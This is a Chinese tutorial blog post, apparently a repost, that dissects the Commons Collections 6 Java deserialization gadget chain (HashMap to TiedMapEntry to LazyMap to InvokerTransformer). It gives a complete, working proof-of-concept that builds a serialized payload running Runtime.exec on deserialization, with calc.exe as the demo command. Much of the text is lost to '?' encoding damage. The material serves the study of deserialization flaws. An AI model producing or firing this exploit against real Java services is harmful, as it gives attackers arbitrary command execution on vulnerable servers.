CC6的demo学习

时间:2021-01-24 01:18:42   收藏:0   阅读:17

0x01、CC6剖析

之前学习讲解过了CommonsCollections1这个利?链和其中的LazyMap原理。但是我们说到,在Java 8u71以后,这个利?链不能再利?了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了

而CC6在ysoserial中是比较通用,好用的一条利用链

我们先看看简化版的Gadget

 Gadget chain:
 
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 org.apache.commons.collections.functors.ChainedTransformer.transform()
 org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

我们需要看的主要是从最开始到org.apache.commons.collections.map.LazyMap.get() 的那?部分,因为 LazyMap#get 后?的部分在上?篇?章?已经说了。所以简单来说,解决Java?版本利?问题,实际上就是在找上下?中是否还有其他调? LazyMap#get() 的地?

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue?法

中调?了 this.map.get ,?其hashCode()?法调?了getValue?法:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    //................

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    //..............
}

所以,欲触发LazyMap利?链,要找到就是哪?调?了 TiedMapEntry#hashCode 。ysoserial中,是利? java.util.HashSet#readObject -> HashMap#put() -> HashMap#hash(key) -> TiedMapEntry#hashCode()

实际上在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调?,去掉了最前?的两次调?:

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable,Serializable {
	
	// ...
	static final int hash(Object key) {
		int h;
		return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
	}
	// ...
 
	private void readObject(java.io.ObjectInputStream s) throws IOException, 					ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hiddenstuffs.defaultReadObject();
 // ...
 // Read the keys and values, and put the mappings in theHashMap
 
		 for (int i = 0; i < mappings; i++) {
				@SuppressWarnings("unchecked")
					K key = (K) s.readObject();
 				@SuppressWarnings("unchecked")
 					V value = (V) s.readObject();
 				putVal(hash(key), key, value, false, false);
 		}
 	}
 }

在HashMap的readObject?法中,调?到了 hash(key) ,?hash?法中,调?到了

key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前?的分析过

程,构成?个完整的Gadget。

0x02 、构造Gadget代码

?先,我们先把恶意LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] {new
            ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),

            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] { "calc.exe" }),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执?,我构造LazyMap的时候先?了?个?畜?害的 fakeTransformers 对象,等最后要?成Payload的时候,再把真正的 transformers 替换进去。

现在拿到了?个恶意的LazyMap对象 outerMap ,将其作为 TiedMapEntry 的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调? TiedMapEntry#hashCode() ,我们需要将 tme 对象作为 HashMap 的?个key。

注意,这?我们需要新建?个HashMap,?不是?之前LazyMap利?链?的那个HashMap,两者没任何关系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,我就可以将这个 expMap 作为对象来序列化了,不过,别忘了将真正的 transformers 数组设置

进来:

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ?成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

技术分享图片

此时发现并未弹出计算器,这时候我们要想想关键点是哪里

 org.apache.commons.collections.map.LazyMap.get()

对,关键点就是在此处,我们直接去查看get方法,并下个断点查看

技术分享图片

这是最后触发命令执?的transform() ,但是这个if语句并没有进?,因为 map.containsKey(key) 的结果是true

这是为什么呢?outerMap中我并没有放??个key是 keykey 的对象呀?

我们看下之前的代码,唯?出现 keykey 的地?就是在 TiedMapEntry 的构造函数?,

但 TiedMapEntry 的构造函数并没有修改outerMap:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

其实,这个关键点就出在 expMap.put(tme, "valuevalue"); 这个语句??

HashMap的put?法中,也有调?到 hash(key)

public V put(K key, V value) {
	return putVal(hash(key), key, value, false, true);
}

这?就导致 LazyMap 这个利?链在这?被调?了?遍,因为我前??了 fakeTransformers ,所以此

时并没有触发命令执?,但实际上也对我们构造Payload产?了影响。

我们的解决?法也很简单,只需要将keykey这个Key,再从outerMap中移除即

可:

outerMap.remove("keykey") 

完整poc:

package com.itheima.proxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},
                new String[]{"calc.exe"}), new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 不再使?原CommonsCollections6中的HashSet,直接使?HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ?成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

原文:https://www.cnblogs.com/0x7e/p/14318625.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!